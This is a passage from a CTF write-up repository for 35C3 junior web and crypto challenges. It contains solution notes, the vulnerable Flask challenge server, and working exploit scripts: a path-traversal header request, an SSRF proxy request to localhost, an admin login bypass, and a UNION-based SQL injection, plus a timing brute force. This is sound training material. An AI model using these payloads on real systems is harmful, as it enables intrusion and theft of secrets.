Pretty sure it's otherwise well protected on our secure server. 409 | 410 | http://35.207.189.79/ 411 | 412 | Difficulty Estimate: Medium 413 | 414 | # Solution 415 | 416 | ```bash 417 | ./db_secret.py 418 | ``` 419 | ```json 420 | {'code': 1, 'content': 1, 'created': 1, 'lastModified': 1, 'public': 1, 'title': 1, 'type': 1, 'userName': '35C3_ALL_THESE_YEARS_AND_WE_STILL_HAVE_INJECTIONS_EVERYWHERE__HOW???'} 421 | ``` 422 | 423 | 424 | flags - 37 points 425 | ----------------- 426 | 427 | * **Web** 428 | 429 | # Problem 430 | 431 | Solves: 411 432 | 433 | Fun with flags: http://35.207.169.47 434 | 435 | Flag is at /flag 436 | 437 | Difficulty estimate: Easy 438 | 439 | # Solution 440 | 441 | [flags](flags.png) 442 | 443 | ```bash 444 | curl -H 'Accept-Language: ....//....//....//....//flag' http://35.207.169.47/ 445 | ``` 446 | ```html 447 | 448 | <?php
  highlight_file
(__FILE__);
  
$lang $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'ot';
  
$lang explode(','$lang)[0];
  
$lang str_replace('../'''$lang);
  
$c file_get_contents("flags/$lang");
  if (!
$c$c file_get_contents("flags/ot");
  echo 
'<img src="data:image/jpeg;base64,' base64_encode($c) . '">';

449 |
450 |
451 | ``` 452 | ```bash 453 | echo 'MzVjM190aGlzX2ZsYWdfaXNfdGhlX2JlNXRfZmw0Zwo' | base64 -d 454 | 35c3_this_flag_is_the_be5t_fl4g 455 | ``` 456 | 457 | 458 | localhost - 81 points 459 | --------------------- 460 | 461 | * **Web** 462 | 463 | # Problem 464 | 465 | Solves: 69 466 | 467 | We came up with some ingenious solutions to the problem of password reuse. For users, we don't use password auth but send around mails instead. This works well for humans but not for robots. To make test automation possible, we didn't want to send those mails all the time, so instead we introduced the localhost header. If we send a request to our server from the same host, our state-of-the-art python server sets the localhost header to a secret only known to the server. This is bullet-proof, luckily. 468 | 469 | http://35.207.189.79/ 470 | 471 | Difficulty Estimate: Medium 472 | 473 | # Solution 474 | 475 | ``` 476 | curl -v http://35.207.189.79/favicon.ico 477 | * Trying 35.207.189.79... 478 | * TCP_NODELAY set 479 | * Connected to 35.207.189.79 (35.207.189.79) port 80 (#0) 480 | > GET /favicon.ico HTTP/1.1 481 | > Host: 35.207.189.79 482 | > User-Agent: curl/7.58.0 483 | > Accept: */* 484 | > 485 | < HTTP/1.1 200 OK 486 | < Server: nginx/1.13.12 487 | < Content-Type: image/vnd.microsoft.icon 488 | < Content-Length: 1150 489 | < Connection: keep-alive 490 | < Last-Modified: Thu, 27 Dec 2018 13:56:51 GMT 491 | < Cache-Control: public, max-age=43200 492 | < Expires: Sun, 30 Dec 2018 23:41:37 GMT 493 | < ETag: "1545919011.0-1150-704843451" 494 | < Date: Sun, 30 Dec 2018 11:41:37 GMT 495 | < Accept-Ranges: bytes 496 | < X-Frame-Options: SAMEORIGIN 497 | < X-Xss-Protection: 1; mode=block 498 | < X-Content-Type-Options: nosniff 499 | < Content-Security-Policy: script-src 'self' 'unsafe-inline'; 500 | < Referrer-Policy: no-referrer-when-downgrade 501 | < Feature-Policy: geolocation 'self'; midi 'self'; sync-xhr 'self'; microphone 'self'; camera 'self'; magnetometer 'self'; gyroscope 'self'; speaker 'self'; fullscreen *; payment 'self'; 502 | < 503 | ``` 504 | 505 | ``` 506 | curl -v 'http://35.207.189.79/api/proxyimage?url=http://127.0.0.1:8075/favicon.ico' 507 | * Trying 35.207.189.79... 508 | * TCP_NODELAY set 509 | * Connected to 35.207.189.79 (35.207.189.79) port 80 (#0) 510 | > GET /api/proxyimage?url=http://127.0.0.1:8075/favicon.ico HTTP/1.1 511 | > Host: 35.207.189.79 512 | > User-Agent: curl/7.58.0 513 | > Accept: */* 514 | > 515 | < HTTP/1.1 200 OK 516 | < Content-Type: image/vnd.microsoft.icon 517 | < Content-Length: 1150 518 | < Connection: keep-alive 519 | < Server: nginx/1.13.12 520 | < Last-Modified: Thu, 27 Dec 2018 13:56:51 GMT 521 | < Cache-Control: public, max-age=43200 522 | < Expires: Sun, 30 Dec 2018 23:42:55 GMT 523 | < ETag: "1545919011.0-1150-704843451" 524 | < Date: Sun, 30 Dec 2018 11:42:55 GMT 525 | < Accept-Ranges: bytes 526 | < X-Frame-Options: SAMEORIGIN 527 | < X-Xss-Protection: 1; mode=block 528 | < X-Content-Type-Options: nosniff 529 | < Content-Security-Policy: script-src 'self' 'unsafe-inline'; 530 | < Referrer-Policy: no-referrer-when-downgrade 531 | < Feature-Policy: geolocation 'self'; midi 'self'; sync-xhr 'self'; microphone 'self'; camera 'self'; magnetometer 'self'; gyroscope 'self'; speaker 'self'; fullscreen *; payment 'self'; 532 | < X-Localhost-Token: 35C3_THIS_HOST_IS_YOUR_HOST_THIS_HOST_IS_LOCAL_HOST 533 | < 534 | ``` 535 | 536 | 537 | 538 | Logged In - 47 points 539 | --------------------- 540 | 541 | * **Web** 542 | 543 | # Problem 544 | 545 | Solves: 180 546 | 547 | Phew, we totally did not set up our mail server yet. This is bad news since nobody can get into their accounts at the moment... It'll be in our next sprint. Until then, since you cannot login: enjoy our totally finished software without account. 548 | 549 | http://35.207.189.79/ 550 | 551 | Difficulty Estimate: Easy 552 | 553 | # Solution 554 | 555 | ``` 556 | ./logged_in.py 557 | , , ]> 558 | ``` 559 | 560 | 561 | McDonald - 44 points 562 | -------------------- 563 | 564 | * **Web** 565 | 566 | # Problem 567 | 568 | Solves: 214 569 | 570 | Our web admin name's "Mc Donald" and he likes apples and always forgets to throw away his apple cores.. 571 | 572 | http://35.207.91.38 573 | 574 | # Solution 575 | 576 | ds-store package 577 | 578 | [mcdonald.py](mcdonald.py) 579 | 580 | probably could have walked the directory tree by hand, but i just like programming too much... 581 | ``` 582 | (venv2) root@kali:~/share/ds# python mcdonald.py 583 | ('no match: ', u'http://35.207.91.38/backup/a') 584 | ('no match: ', u'http://35.207.91.38/backup/c/a') 585 | ('no match: ', u'http://35.207.91.38/backup/c/c/a') 586 | ('no match: ', u'http://35.207.91.38/backup/c/c/c') 587 | ('no match: ', u'http://35.207.91.38/backup/c/c/b') 588 | ('no match: ', u'http://35.207.91.38/backup/c/b/a') 589 | ('no match: ', u'http://35.207.91.38/backup/c/b/c') 590 | ('no match: ', u'http://35.207.91.38/backup/c/b/b') 591 | ('no match: ', u'http://35.207.91.38/backup/b/a/a') 592 | ('no match: ', u'http://35.207.91.38/backup/b/a/c/flag.txt') 593 | ('no match: ', u'http://35.207.91.38/backup/b/a/c/noflag.txt') 594 | ('no match: ', u'http://35.207.91.38/backup/b/a/b/fun') 595 | ('no match: ', u'http://35.207.91.38/backup/b/a/noflag.txt') 596 | ('no match: ', u'http://35.207.91.38/backup/b/c') 597 | ('no match: ', u'http://35.207.91.38/backup/b/b/fun') 598 | ('no match: ', u'http://35.207.91.38/backup/b/noflag.txt') 599 | (venv2) root@kali:~/share/ds# curl http://35.207.91.38/backup/b/a/c/flag.txt 600 | 35c3_Appl3s_H1dden_F1l3s 601 | ``` 602 | 603 | 604 | Not(e) accessible - 55 points 605 | ----------------------------- 606 | 607 | * **Web** 608 | 609 | # Problem 610 | 611 | Solves: 130 612 | 613 | We love notes. They make our lifes more structured and easier to manage! In 2018 everything has to be digital, and that's why we built our very own note-taking system using micro services: Not(e) accessible! For security reasons, we generate a random note ID and password for each note. 614 | 615 | Recently, we received a report through our responsible disclosure program which claimed that our access control is bypassable... 616 | 617 | http://35.207.120.163 618 | 619 | Difficulti estimate: Easy-Medium 620 | 621 | # Solution 622 | 623 | [note1.png](note1.png) 624 | [note2.png](note2.png) 625 | [note3.png](note3.png) 626 | [note4.png](note4.png) 627 | [note5.png](note5.png) 628 | -------------------------------------------------------------------------------- /2018/35C3-junior/db_secret.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import requests 3 | import sys 4 | 5 | BASE_URL = 'http://35.207.189.79/api/' 6 | #requests.post(BASE_URL + 'signup', data=json.dumps({'name': 'yolo', 'email': 'yolo@yolo'})) 7 | resp = requests.post(BASE_URL + 'login', json={'email': 'admin'}) 8 | if resp.status_code != 200: 9 | print(resp.text) 10 | sys.exit(1) 11 | resp = requests.post(BASE_URL + 'verify', json={'code': resp.text}) 12 | if resp.status_code != 200: 13 | print(resp.text) 14 | sys.exit(1) 15 | #print(resp.cookies) 16 | #print(resp.headers) 17 | resp = requests.post( 18 | BASE_URL + 'getprojectsadmin', 19 | json={'offset': "1' UNION SELECT id,secret,1,1,1,1,1,1 FROM secrets; --", 'sorting': 'newest'}, 20 | cookies=resp.cookies) 21 | for result in resp.json(): 22 | print(result) 23 | -------------------------------------------------------------------------------- /2018/35C3-junior/devnull.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import requests 3 | import time 4 | 5 | res = '' 6 | while True: 7 | found = False 8 | for char in '_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ !"#$%&\'()*+,-./:;<=>?@[\\]^`{|}~abcdefghijklmnopqrstuvwxyz': 9 | start = time.time() 10 | # print('if "{}" == charAt(DEV_NULL,{}) then pause(1000) end'.format(char, len(res))) 11 | result = requests.post( 12 | 'http://35.207.189.79/wee/dev/null', 13 | json={'code': 'if "{}" == charAt(DEV_NULL,{}) then pause(1000) end'.format(char, len(res))}) 14 | if time.time() - start > 1.5: 15 | start = time.time() 16 | result = requests.post( 17 | 'http://35.207.189.79/wee/dev/null', 18 | json={'code': 'if "{}" == charAt(DEV_NULL,{}) then pause(1000) end'.format(char, len(res))}) 19 | if time.time() - start > 1.5: 20 | res += char 21 | print(res) 22 | found = True 23 | break 24 | if not found: 25 | break 26 | -------------------------------------------------------------------------------- /2018/35C3-junior/flags.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1337pwnie/ctf-writeups/f5c002d72fab65fb6daa5c31ee2e26b4de337879/2018/35C3-junior/flags.png -------------------------------------------------------------------------------- /2018/35C3-junior/linear-server.py: -------------------------------------------------------------------------------- 1 | import os, math, sys, binascii 2 | from secrets import key, flag 3 | from hashlib import sha256 4 | from Crypto.Cipher import AES 5 | 6 | p = 340282366920938463463374607431768211297 7 | bits = 128 8 | N = 40 9 | 10 | def rand(): 11 | return int.from_bytes(os.urandom(bits // 8), 'little') 12 | 13 | def keygen(): 14 | return [rand() for _ in range(N)] 15 | 16 | if __name__ == '__main__': 17 | # key = keygen() # generated once & stored in secrets.py 18 | challenge = keygen() 19 | print(' '.join(map(str, challenge))) 20 | response = int(input()) 21 | if response != sum(x*y%p for x, y in zip(challenge, key)): 22 | print('ACCESS DENIED') 23 | exit(1) 24 | 25 | print('ACCESS GRANTED') 26 | cipher = AES.new( 27 | sha256(' '.join(map(str, key)).encode('utf-8')).digest(), 28 | AES.MODE_CFB, 29 | b'\0'*16) 30 | print(binascii.hexlify(cipher.encrypt(flag)).decode('utf-8')) 31 | -------------------------------------------------------------------------------- /2018/35C3-junior/linear-surveillance.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1337pwnie/ctf-writeups/f5c002d72fab65fb6daa5c31ee2e26b4de337879/2018/35C3-junior/linear-surveillance.pcap -------------------------------------------------------------------------------- /2018/35C3-junior/linear.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | import binascii 3 | from hashlib import sha256 4 | from Crypto.Cipher import AES 5 | import re 6 | 7 | def egcd(a, b): 8 | if a == 0: 9 | return (b, 0, 1) 10 | else: 11 | g, y, x = egcd(b % a, a) 12 | return (g, x - (b // a) * y, y) 13 | 14 | def modinv(a, m): 15 | g, x, y = egcd(a, m) 16 | if g != 1: 17 | raise Exception('modular inverse does not exist') 18 | else: 19 | return x % m 20 | 21 | # read data 22 | T1 = re.compile('^[0-9]{20,} ') 23 | T2 = re.compile('^[0-9]{20,}') 24 | T3 = re.compile('^[0-9a-f]{20,}') 25 | 26 | n = 340282366920938463463374607431768211297 27 | eqs = [] 28 | for i in range(40): 29 | a, b, c = None, None, None 30 | for line in open('{}.ascii'.format(i)): 31 | if T1.match(line): 32 | a = [int(x) for x in line.strip().split()] 33 | elif T2.match(line): 34 | b = int(line.strip()) 35 | elif T3.match(line): 36 | c = line.strip() 37 | eqs.append(a + [b]) 38 | 39 | invs = [] 40 | for line in eqs: 41 | invs.append([modinv(x, n) for x in line]) 42 | 43 | #for rowi, line in enumerate(eqs): 44 | # for coli in range(len(line)): 45 | # line[coli] = line[coli] * invs[rowi][rowi] % n 46 | 47 | for rowi in range(len(eqs)-1, -1, -1): 48 | inv = modinv(eqs[rowi][rowi], n) 49 | for coli in range(len(eqs[rowi])): 50 | eqs[rowi][coli] = eqs[rowi][coli] * inv % n 51 | for row2i in range(rowi-1, -1, -1): 52 | mul = eqs[row2i][rowi] 53 | for i in range(len(eqs[row2i])): 54 | eqs[row2i][i] = (eqs[row2i][i] - mul * eqs[rowi][i]) % n 55 | 56 | for rowi in range(len(eqs)): 57 | for row2i in range(rowi + 1, len(eqs)): 58 | mul = eqs[row2i][rowi] 59 | for i in range(len(eqs[row2i])): 60 | eqs[row2i][i] = (eqs[row2i][i] - mul * eqs[rowi][i]) % n 61 | 62 | key = [l[-1] for l in eqs] 63 | # print(key) 64 | 65 | flag = binascii.unhexlify(c) 66 | cipher = AES.new( 67 | sha256(' '.join(map(str, key)).encode('utf-8')).digest(), 68 | AES.MODE_CFB, 69 | b'\0'*16) 70 | print(cipher.decrypt(flag)) 71 | -------------------------------------------------------------------------------- /2018/35C3-junior/logged_in.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import requests 3 | import sys 4 | 5 | BASE_URL = 'http://35.207.189.79/api/' 6 | resp = requests.post(BASE_URL + 'login', json={'email': 'admin'}) 7 | if resp.status_code != 200: 8 | print(resp.text) 9 | sys.exit(1) 10 | resp = requests.post(BASE_URL + 'verify', json={'code': resp.text}) 11 | if resp.status_code != 200: 12 | print(resp.text) 13 | sys.exit(1) 14 | print(resp.cookies) 15 | -------------------------------------------------------------------------------- /2018/35C3-junior/mcdonald.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from ds_store import DSStore 3 | # set([x.filename for x in list(DSStore.open('storeb'))]) 4 | 5 | BASE = 'http://35.207.91.38/backup' # /b/a/.DS_Store' 6 | 7 | def f(url): 8 | res = requests.get('/'.join([url, '.DS_Store'])) 9 | if res.status_code != 200: 10 | print('no match: ', url) 11 | return 12 | open('/tmp/f', 'wb').write(res.content) 13 | for fn in set([x.filename for x in list(DSStore.open('/tmp/f'))]): 14 | f('/'.join([url, fn])) 15 | 16 | 17 | f(BASE) 18 | -------------------------------------------------------------------------------- /2018/35C3-junior/note.src.tgz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1337pwnie/ctf-writeups/f5c002d72fab65fb6daa5c31ee2e26b4de337879/2018/35C3-junior/note.src.tgz -------------------------------------------------------------------------------- /2018/35C3-junior/note1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1337pwnie/ctf-writeups/f5c002d72fab65fb6daa5c31ee2e26b4de337879/2018/35C3-junior/note1.png -------------------------------------------------------------------------------- /2018/35C3-junior/note2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1337pwnie/ctf-writeups/f5c002d72fab65fb6daa5c31ee2e26b4de337879/2018/35C3-junior/note2.png -------------------------------------------------------------------------------- /2018/35C3-junior/note3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1337pwnie/ctf-writeups/f5c002d72fab65fb6daa5c31ee2e26b4de337879/2018/35C3-junior/note3.png -------------------------------------------------------------------------------- /2018/35C3-junior/note4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1337pwnie/ctf-writeups/f5c002d72fab65fb6daa5c31ee2e26b4de337879/2018/35C3-junior/note4.png -------------------------------------------------------------------------------- /2018/35C3-junior/note5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1337pwnie/ctf-writeups/f5c002d72fab65fb6daa5c31ee2e26b4de337879/2018/35C3-junior/note5.png -------------------------------------------------------------------------------- /2018/35C3-junior/server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import inspect 3 | import os 4 | import random 5 | import sqlite3 6 | import string 7 | import sys 8 | import base64 9 | from html import escape 10 | from urllib import parse 11 | from typing import Union, List, Tuple 12 | import datetime 13 | 14 | from subprocess import STDOUT, check_output 15 | 16 | import requests 17 | from flask import Flask, send_from_directory, send_file, request, Response, g, make_response, jsonify 18 | from flags import DB_SECRET, DECRYPTED, DEV_NULL, LOCALHOST, LOGGED_IN 19 | 20 | STATIC_PATH = "../client/site" 21 | DATABASE = ".paperbots.db" 22 | MIGRATION_PATH = "./db/V1__Create_tables.sql" 23 | THUMBNAIL_PATH = os.path.join(STATIC_PATH, "thumbnails") 24 | WEE_PATH = "../weelang" 25 | WEETERPRETER = "weeterpreter.ts" 26 | WEE_TIMEOUT = 5 27 | 28 | os.makedirs(THUMBNAIL_PATH, exist_ok=True) 29 | 30 | app = Flask(__name__, static_folder=STATIC_PATH, static_url_path="/static") 31 | 32 | encrypted = None 33 | 34 | 35 | def get_db() -> sqlite3.Connection: 36 | db = getattr(g, '_database', None) 37 | if db is None: 38 | db = g._database = sqlite3.connect(DATABASE) 39 | return db 40 | 41 | 42 | def init_db(): 43 | with app.app_context(): 44 | db = get_db() 45 | with open(MIGRATION_PATH, "r") as f: 46 | db.cursor().executescript(f.read()) 47 | db.execute("CREATE TABLE `secrets`(`id` INTEGER PRIMARY KEY AUTOINCREMENT, `secret` varchar(255) NOT NULL)") 48 | db.execute("INSERT INTO secrets(secret) values(?)", (DB_SECRET,)) 49 | db.commit() 50 | 51 | 52 | def query_db(query, args=(), one=True) -> Union[List[Tuple], Tuple, None]: 53 | if not isinstance(args, tuple): 54 | args = (args,) 55 | cur = get_db().execute(query, args) 56 | rv = cur.fetchall() 57 | cur.close() 58 | return (rv[0] if rv else None) if one else rv 59 | 60 | 61 | def user_by_token(token) -> Tuple[int, str, str, str]: 62 | """ 63 | queries and returns userId, username, email, usertype for a given token 64 | :param token: the token 65 | :return: userId, name, email, usertype 66 | """ 67 | if not token: 68 | raise AttributeError("Token must not be empty") 69 | 70 | userId, = query_db("SELECT userId FROM userTokens WHERE token=?", token) # TODO: Join this? 71 | name, email, usertype = query_db("SELECT name, email, type FROM users WHERE id=?", userId) 72 | return userId, name, email, usertype 73 | 74 | 75 | def random_code(length=6) -> str: 76 | return "".join([random.choice(string.ascii_lowercase)[0] for x in range(length)]) 77 | 78 | 79 | def get_code(username): 80 | db = get_db() 81 | c = db.cursor() 82 | userId, = query_db("SELECT id FROM users WHERE name=?", username) 83 | code = random_code() 84 | c.execute("INSERT INTO userCodes(userId, code) VALUES(?, ?)", (userId, code)) 85 | db.commit() 86 | # TODO: Send the code as E-Mail instead :) 87 | return code 88 | 89 | 90 | def jsonify_projects(projects, username, usertype): 91 | return jsonify([ 92 | {"code": x[0], 93 | "userName": x[1], 94 | "title": x[2], 95 | "public": x[3], 96 | "type": x[4], 97 | "lastModified": x[5], 98 | "created": x[6], 99 | "content": x[7] 100 | } for x in projects if usertype == "admin" or x[1] == username or x[3] 101 | ]) 102 | 103 | 104 | @app.teardown_appcontext 105 | def close_connection(exception): 106 | db = getattr(g, '_database', None) 107 | if db is not None: 108 | db.close() 109 | 110 | 111 | # Error handling 112 | @app.errorhandler(404) 113 | def fourohfour(e): 114 | return send_file(os.path.join(STATIC_PATH, "404.html")), 404 115 | 116 | 117 | @app.errorhandler(500) 118 | def fivehundred(e): 119 | return jsonify({"error": str(e)}), 500 120 | 121 | 122 | @app.after_request 123 | def secure(response: Response): 124 | if not request.path[-3:] in ["jpg", "png", "gif"]: 125 | response.headers["X-Frame-Options"] = "SAMEORIGIN" 126 | response.headers["X-Xss-Protection"] = "1; mode=block" 127 | response.headers["X-Content-Type-Options"] = "nosniff" 128 | response.headers["Content-Security-Policy"] = "script-src 'self' 'unsafe-inline';" 129 | response.headers["Referrer-Policy"] = "no-referrer-when-downgrade" 130 | response.headers["Feature-Policy"] = "geolocation 'self'; midi 'self'; sync-xhr 'self'; microphone 'self'; " \ 131 | "camera 'self'; magnetometer 'self'; gyroscope 'self'; speaker 'self'; " \ 132 | "fullscreen *; payment 'self'; " 133 | if request.remote_addr == "127.0.0.1": 134 | response.headers["X-Localhost-Token"] = LOCALHOST 135 | 136 | return response 137 | 138 | 139 | @app.route("/", methods=["GET"]) 140 | def main(): 141 | return send_file(os.path.join(STATIC_PATH, "index.html")) 142 | 143 | 144 | @app.route("/kitten.png") 145 | def kitten(): 146 | return send_file(os.path.join(STATIC_PATH, "img/kitten.png")) 147 | 148 | 149 | # The actual page 150 | @app.route("/", methods=["GET"]) 151 | def papercontents(filename): 152 | return send_from_directory(STATIC_PATH, filename) 153 | 154 | 155 | @app.route("/api/signup", methods=["POST"]) 156 | def signup(): 157 | usertype = "user" 158 | json = request.get_json(force=True) 159 | name = escape(json["name"].strip()) 160 | email = json["email"].strip() 161 | if len(name) == 0: 162 | raise Exception("InvalidUserName") 163 | if len(email) == 0: 164 | raise Exception("InvalidEmailAddress") 165 | if not len(email.split("@")) == 2: 166 | raise Exception("InvalidEmailAddress") 167 | email = escape(email.strip()) 168 | # Make sure the user name is 4-25 letters/digits only. 169 | if len(name) < 4 or len(name) > 25: 170 | raise Exception("InvalidUserName") 171 | 172 | if not all([x in string.ascii_letters or x in string.digits for x in name]): 173 | raise Exception("InvalidUserName") 174 | # Check if name exists 175 | if query_db("SELECT name FROM users WHERE name=?", name): 176 | raise Exception("UserExists") 177 | if query_db("Select id, name FROM users WHERE email=?", email): 178 | raise Exception("EmailExists") 179 | # Insert user // TODO: implement the verification email 180 | db = get_db() 181 | c = db.cursor() 182 | c.execute("INSERT INTO users(name, email, type) values(?, ?, ?)", (name, email, usertype)) 183 | db.commit() 184 | return jsonify({"success": True}) 185 | 186 | 187 | @app.route("/api/login", methods=["POST"]) 188 | def login(): 189 | print("Logging in?") 190 | # TODO Send Mail 191 | json = request.get_json(force=True) 192 | login = json["email"].strip() 193 | try: 194 | userid, name, email = query_db("SELECT id, name, email FROM users WHERE email=? OR name=?", (login, login)) 195 | except Exception as ex: 196 | raise Exception("UserDoesNotExist") 197 | return get_code(name) 198 | 199 | 200 | @app.route("/api/verify", methods=["POST"]) 201 | def verify(): 202 | code = request.get_json(force=True)["code"].strip() 203 | if not code: 204 | raise Exception("CouldNotVerifyCode") 205 | userid, = query_db("SELECT userId FROM userCodes WHERE code=?", code) 206 | db = get_db() 207 | c = db.cursor() 208 | c.execute("DELETE FROM userCodes WHERE userId=?", (userid,)) 209 | token = random_code(32) 210 | c.execute("INSERT INTO userTokens (userId, token) values(?,?)", (userid, token)) 211 | db.commit() 212 | name, = query_db("SELECT name FROM users WHERE id=?", (userid,)) 213 | resp = make_response() 214 | resp.set_cookie("token", token, max_age=2 ** 31 - 1) 215 | resp.set_cookie("name", name, max_age=2 ** 31 - 1) 216 | resp.set_cookie("logged_in", LOGGED_IN) 217 | return resp 218 | 219 | 220 | @app.route("/api/logout", methods=["POST"]) 221 | def logout(): 222 | request.cookies.get("token") 223 | resp = make_response() 224 | resp.set_cookie("token", "") 225 | resp.set_cookie("name", "") 226 | resp.set_cookie("logged_in", "") 227 | return resp 228 | 229 | 230 | @app.route("/api/getproject", methods=["POST"]) 231 | def getproject(): 232 | # TODO: Do. 233 | project_id = request.get_json(force=True)["projectId"] 234 | token = request.cookies.get("token") 235 | try: 236 | userId, name, email, usertype = user_by_token(token) 237 | except AttributeError: 238 | name = "" 239 | usertype = "user" 240 | project = query_db("SELECT code, userName, title, description, content, public, type, lastModified, created " 241 | "FROM projects WHERE code=?", (project_id,)) 242 | if not project or (not project[5] and not name == project[1] and not usertype == "admin"): 243 | raise Exception("ProjectDoesNotExist") 244 | return jsonify({ 245 | "code": project[0], 246 | "userName": project[1], 247 | "title": project[2], 248 | "description": project[3], 249 | "content": project[4], 250 | "public": project[5], 251 | "type": project[6], 252 | "lastModified": project[7], 253 | "created": project[8] 254 | }) 255 | 256 | 257 | @app.route("/api/getprojects", methods=["POST"]) 258 | def getuserprojects(): 259 | username = request.get_json(force=True)["userName"] 260 | projects = query_db("SELECT code, userName, title, public, type, lastModified, created, content " 261 | "FROM projects WHERE userName=? ORDER BY lastModified DESC", (username), False) 262 | name = "" 263 | usertype = "user" 264 | if "token" in request.cookies: 265 | userId, name, email, usertype = user_by_token(request.cookies["token"]) 266 | return jsonify_projects(projects, name, usertype) 267 | 268 | 269 | @app.route("/api/saveproject", methods=["POST"]) 270 | def saveproject(): 271 | json = request.get_json(force=True) 272 | name = request.cookies["name"] 273 | token = request.cookies["token"] 274 | # TODO String projectId = paperbots.saveProject(ctx.cookie("token"), request.getCode(), request.getTitle(), request.getDescription(), request.getContent(), request.isPublic(), request.getType()); 275 | userId, username, email, usertype = user_by_token(token) 276 | 277 | db = get_db() 278 | c = db.cursor() 279 | 280 | if not json["code"]: 281 | project_id = random_code(6) 282 | 283 | c.execute( 284 | "INSERT INTO projects(userId, userName, code, title, description, content, public, type) " 285 | "VALUES(?,?,?,?,?,?,?,?)", 286 | (userId, username, project_id, 287 | escape(json["title"]), escape(json["description"]), json["content"], True, json["type"])) 288 | db.commit() 289 | return jsonify({"projectId": project_id}) 290 | else: 291 | c.execute("UPDATE projects SET title=?, description=?, content=?, public=? WHERE code=? AND userId=?", 292 | (escape(json["title"]), escape(json["description"]), json["content"], True, json["code"], 293 | userId) 294 | ) 295 | db.commit() 296 | return jsonify({"projectId": json["code"]}) 297 | 298 | 299 | @app.route("/api/savethumbnail", methods=["POST"]) 300 | def savethumbnail(): 301 | name = request.cookies["name"] 302 | token = request.cookies["token"] 303 | userId, username, email, usertype = user_by_token(token) 304 | 305 | json = request.get_json(force=True) 306 | thumbnail = json["thumbnail"] # type: str 307 | project_id = json["projectId"] 308 | if not thumbnail.startswith("data:image/png;base64,"): 309 | raise Exception("Hacker") 310 | thumbnail = thumbnail[len("data:image/png;base64,"):].encode("ascii") 311 | decoded = base64.b64decode(thumbnail) 312 | project_username, = query_db("SELECT userName FROM projects WHERE code=?", (project_id,)) 313 | if project_username != username: 314 | raise Exception("Hack on WeeLang, not the Server!") 315 | with open(os.path.join(THUMBNAIL_PATH, "{}.png".format(project_id)), "wb+") as f: 316 | f.write(decoded) 317 | return jsonify({"projectId": project_id}) 318 | 319 | 320 | @app.route("/api/deleteproject", methods=["POST"]) 321 | def deleteproject(): 322 | name = request.cookies["name"] 323 | token = request.cookies["token"] 324 | userid, username, email, usertype = user_by_token(token) 325 | json = request.get_json(force=True) 326 | projectid = json["projectId"] 327 | project_username = query_db("SELECT userName FROM projects WHERE code=?", (projectid,)) 328 | if project_username != username and usertype != "admin": 329 | raise Exception("Nope") 330 | db = get_db() 331 | c = db.cursor() 332 | c.execute("DELETE FROM projects WHERE code=?", (projectid,)) 333 | db.commit() 334 | # raise Exception("The Internet Never Forgets") 335 | return {"projectId": projectid} 336 | 337 | 338 | # Admin endpoints 339 | @app.route("/api/getprojectsadmin", methods=["POST"]) 340 | def getprojectsadmin(): 341 | # ProjectsRequest request = ctx.bodyAsClass(ProjectsRequest.class); 342 | # ctx.json(paperbots.getProjectsAdmin(ctx.cookie("token"), request.sorting, request.dateOffset)); 343 | name = request.cookies["name"] 344 | token = request.cookies["token"] 345 | user, username, email, usertype = user_by_token(token) 346 | 347 | json = request.get_json(force=True) 348 | offset = json["offset"] 349 | sorting = json["sorting"] 350 | 351 | if name != "admin": 352 | raise Exception("InvalidUserName") 353 | 354 | sortings = { 355 | "newest": "created DESC", 356 | "oldest": "created ASC", 357 | "lastmodified": "lastModified DESC" 358 | } 359 | sql_sorting = sortings[sorting] 360 | 361 | if not offset: 362 | offset = datetime.datetime.now() 363 | 364 | return jsonify_projects(query_db( 365 | "SELECT code, userName, title, public, type, lastModified, created, content FROM projects WHERE created < '{}' " 366 | "ORDER BY {} LIMIT 10".format(offset, sql_sorting), one=False), username, "admin") 367 | 368 | 369 | @app.route("/api/getfeaturedprojects", methods=["POST"]) 370 | def getfeaturedprojects(): 371 | try: 372 | name = request.cookies["name"] 373 | token = request.cookies["token"] 374 | userid, username, email, usertype = user_by_token(token) 375 | except Exception as ex: 376 | username = "" 377 | usertype = "user" 378 | 379 | projects = query_db("SELECT code, userName, title, type, lastModified, created, content FROM projects " 380 | "WHERE featured=1 AND public=1 ORDER BY lastModified DESC", one=False) 381 | return jsonify_projects(projects, username, usertype) 382 | 383 | 384 | # Proxy images to avoid tainted canvases when thumbnailing. 385 | @app.route("/api/proxyimage", methods=["GET"]) 386 | def proxyimage(): 387 | url = request.args.get("url", '') 388 | parsed = parse.urlparse(url, "http") # type: parse.ParseResult 389 | if not parsed.netloc: 390 | parsed = parsed._replace(netloc=request.host) # type: parse.ParseResult 391 | url = parsed.geturl() 392 | 393 | resp = requests.get(url) 394 | if not resp.headers["Content-Type"].startswith("image/"): 395 | raise Exception("Not a valid image") 396 | 397 | # See https://stackoverflow.com/a/36601467/1345238 398 | excluded_headers = ['content-encoding', 'content-length', 'transfer-encoding', 'connection'] 399 | headers = [(name, value) for (name, value) in resp.raw.headers.items() 400 | if name.lower() not in excluded_headers] 401 | 402 | response = Response(resp.content, resp.status_code, headers) 403 | return response 404 | 405 | 406 | # Additional pyserver functions: 407 | 408 | # Wee as a service. 409 | def runwee(wee: string) -> string: 410 | print("{}: running {}".format(request.remote_addr, wee)) 411 | result = check_output( 412 | ["ts-node", '--cacheDirectory', os.path.join(WEE_PATH, "__cache__"), 413 | os.path.join(WEE_PATH, WEETERPRETER), wee], shell=False, stderr=STDOUT, timeout=WEE_TIMEOUT, 414 | cwd=WEE_PATH).decode("utf-8") 415 | print("{}: result: {}".format(request.remote_addr, result)) 416 | return result 